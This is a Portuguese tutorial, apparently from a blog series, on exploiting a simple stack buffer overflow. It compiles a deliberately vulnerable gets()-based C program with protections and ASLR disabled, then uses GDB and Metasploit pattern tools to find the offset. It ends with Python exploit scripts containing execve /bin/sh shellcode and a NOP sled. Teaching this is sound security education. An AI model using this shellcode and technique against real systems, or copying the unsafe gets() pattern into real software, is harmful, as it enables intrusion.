Dando continuidade ao estudo sobre buffer overflow, nesta parte exploraremos de fato o primeiro binário.
Simples Buffer Overflow
Para fins de entendimento de como ocorre a corrupção de memória através do buffer overflow, esta primeira parte será realizada com um binário sem nenhuma proteção. Este experimento dará uma visão de como o programa é executado a nível de memória e como é possível executar um shellcode a partir da Stack. Para que o ASLR seja desativado, é preciso executar o comando abaixo:
1
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Analisando o código fonte
Nem sempre em um cenário real, é possível ter acesso ao código fonte do binário a ser explorado, porém, a fins de estudo, o código fonte do binário está abaixo:
$ cat prog.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
void vuln(void){
char c[40];
puts("Me alimente: ");
gets(c);
printf("Vc escreveu: %s\n", c);
}
int main(void){
vuln();
return 0;
}
Ao analisar a função vuln
, épossível perceber que ela cria um buffer de 40 bytes, logo em seguida, a função gets
preenche o buffer criado com o input do usuário. O problema da função gets
, é que ela não faz nenhum tratamento no buffer de entrada para validar seu tamanho, podendo aceitar uma quantidade de bytes muito maior que os 40 setados inicialmente.
Compilando o binário
Para que a exploração ocorra de fato, é necessário a compilação do script em um binário, desativando todas as proteções através do comando abaixo:
1
$ gcc prog.c -o prog -z execstack -fno-stack-protector -no-pie -w
Enumerando o binário
Após a compilação, pode-se executar o binário e enumerar seu comportamento:
1
2
3
4
$ ./prog
Me alimente:
AAAAAAAA
Vc escreveu: AAAAAAAA
O programa solicita dados de entrada, e após o envio, retorna a resposta com o buffer. Ao preencher um buffer maior que o esperado, o programa tem o seguinte comportamento:
1
2
3
4
5
6
7
8
$ ./prog
Me alimente:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Vc escreveu: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault ./prog
O programa respondeu com o erro "segmentation fault"
. Isto ocorre, pois o buffer de entrada foi maior que 40 bytes, sobresccrevendo outros endereços de memória com “A”, fazendo com que o programa não saiba o que executar após a função vuln
.
Debugando o binário
Uma vez constatado a vulnerabilidade de buffer overflow, pode-se utilizar o Debugger GDB
para verificar o comportamento do programa em nível de memória. Para iniciar, é preciso executar o comando abaixo:
1
$ gdb prog
Ao insrir o comando info functions
, todas as funções do programa são listadas, conforme a imagem abaixo:
Para iniciar o debug, é preciso inserir um breakpoint na função main
através do comando b main
. Em seguida executar o programa no GDB com o comando run
. Após a execução dos comandos, é possível ter o overview dos registradores no início da execução, conforme imagem abaixo:
Neste ponto da execução, é possível “disassemblar” a função vuln
e verificar os endereços de memória de cada passo com o comando disas vuln
.
É possível inserir mais um breakpoint, desta vez na chamada ret
da função vuln
, que neste caso está no endereço de memória 0x0000000000401181
. Esta chamada retorna para a execução normal do programa após receber o buffer de entrada. Ao setar um breakpoint nesta chamada, é possível analisar os registradores neste exato momento. O breakpoint pode ser setado com o comando b * 0x0000000000401181
.
Após setar o breakpoint, o programa deve continuar sua execução com o comando continue
.
1
2
3
4
5
6
gdb-peda$ b * 0x0000000000401181
Breakpoint 2 at 0x401181
gdb-peda$ continue
Continuing.
Me alimente:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Após preencher o buffer com uma grande quantidade de dados, pode-se continuar a execução com o comando continue
.
Conforme observado, o programa parou com o erro segmentation fault
. Se o proximo comando a ser executado, que se encontra no topo da pilha, for consultado, pode-se verificar que ele está preenchido com 0x4141414141414141
(41= A em hexadecimal). O RSP pode ser consultado com o comando x/gx $rsp
.
1
2
gdb-peda$ x/gx $rsp
0x7fffffffded8: 0x4141414141414141
Encontrando o offset
Através da análise do código fonte, é possível identificar que o buffer alocado para a função vuln
é de 40 bytes, porém, devido aos movimentos de registradores, o buffer para se atingir o RSP é diferente. Para se descobrir o offset para atingir o endereço desejado, é preciso enviar para o programa um ciclic pattern, ou seja, uma cadeia de caracteres que pode ser rastreado para identificarmos o endereço correto. Para criar este ciclic pattern, podemos utilizar o programa msf-pattern_create
da suide Metasploit Framework.
1
2
3
$ msf-pattern_create -l 80
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1
Ac2Ac3Ac4Ac5Ac
Este comando cria um ciclic pattern de 80 bytes que pode ser enviado para o programa sendo executado no GDB.
1
2
3
4
5
6
7
gdb-peda$ continue
Continuing.
Me alimente:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1
Ac2Ac3Ac4Ac5Ac
Vc escreveu: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab
7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
Ao consultar o endereço de RSP que causou o erro no programa, é possível encontrar os bytes resultantes.
1
2
gdb-peda$ x/gx $rsp
0x7fffffffded8: 0x4130634139624138
Com o endereço resultante é possível utilizar o programa msf-pattern_offset, também da suite Metasploit Framework, para consultar o offset resultante do endereço.
1
2
$ msf-pattern_offset -l 80 -q 0x4130634139624138
[*] Exact match at offset 56
O offset para atingir RIP é de 56 bytes. Pode-se testar este offset ao enviar novamente um buffer para o programa sendo executado no GDB, contndo 56 letras A e 8 letras B. Ao consultar o endereço resultante em RSP, ele estará preenchido com o valor 0x4242424242424242
(42 = B em hexadecimal).
1
2
gdb-peda$ x/gx $rsp
0x7fffffffded8: 0x4242424242424242
A partir destas descobertas, é possível ter total controle da execução do binário.
Explorando o binário
Para a exploração do binário, inicialmente será necessário um script em python 2
. O motivo pelo qual será utilizado uma versão antiga da linguagem, se dá pelo fado desta versão imprimir bytes na tela, enquanto o python 3
descontinuou esta função. Porém, para as próximas explorações com bypass das proteções, o Python 3 será utilizado.
Com o offset correto, é preciso encontrar um “endereço de retorno” válido para o programa, ou seja, após o buffer de 56 bytes, é preciso informar um endereço válido para o programa, de forma que ele não entre em segmentation fault. Este endereço pode ser consultado no próprio GDB, uma vez que o breakpoint foi setado no endereço de retorno da função vuln
, o próximo endereço da Stack pode ser usado. Uma vez que o ASLR foi desabilitado, qualquer endereço de memória permanecerá o mesmo em todas as execuções. O endereço de retorno está no topo da Stack conforme a imagem abaixo:
Com o endereço em mãos, e com o shell code em linha de bytes criado anteriormente, pode-se criar o seguinte script:
$ cat exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import struct
shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6
\xb8\x3b\x00\x00\x00\x0f\x05"
#offset
payload = "A" * 56
#endereco de retorno
payload += struct.pack("<Q", 0x7fffffffdf00)
#shellcode
payload += shell
print payload
Para enviar o exploit via GDB, pode ser utilizado o comando r < <(python exploit.py)
. Ao executar o binário via GDB enviando este script, é possível obter o retorno de que o programa chamou o /bin/dash
, conforme imagem abaixo:
O exploit está funcional quando é executado por dentro do GDB, pois o endereço de retorno encontrado, considera não so o binário, mas o próŕio GDB. Porém, quando é executado via terminal, existe um decremento não específico dos endereços de memória, como não é possível “adivinhar” este decremento, o script pode ser adaptado com a técnica de NOP Sled.
NOP Sled
O opcode NOP
, representado pelo byte \x90
, é uma instrução Assembly que não faz absolutamente nada. Quando é inserido uma cadeia de NOPs, o programa simplesmente “desliza” sobre eles. Como não é possível descobrir o decremento dos valores de memória, é possível fazer um acréssimo no endereço de retorno seguido de uma cadeia de NOPs. Isto vai fazer com que o endereço de retorno aponte para um lugar bem abaixo da Stack, e logo em seguida o programa vai percorrer os NOPs até o shellcode, fazendo com que o exploit se adapte às diferenças de endereços. O sicript adaptado fica como abaixo:
$ cat exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
import struct
#cadeia de NOPs
nops = "\x90" * 200
shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6
\xb8\x3b\x00\x00\x00\x0f\x05"
#offset
payload = "A" * 56
Endereço de retorno acrescido de 200
payload += struct.pack("<Q", 0x7fffffffdf00 + 200)
#cadeia de NOPs
payload += nops
#shellcode
payload += shell
print payload
Ao executar o exploit enviando o payload para o binário, o endereço de retorno é sobrescrito, levando o programa para a cadeia de NOPs, em seguida o shellcode é executado, uma vez que não existem proteções para este binário, é possível obter um command shell.
Com este resultado, foi possível entender o funcionamento básico do processo de exploração de binários via buffer overflow básico. Nas próximas etapas, serão exploradas as técnicas de bypass das proteções comuns.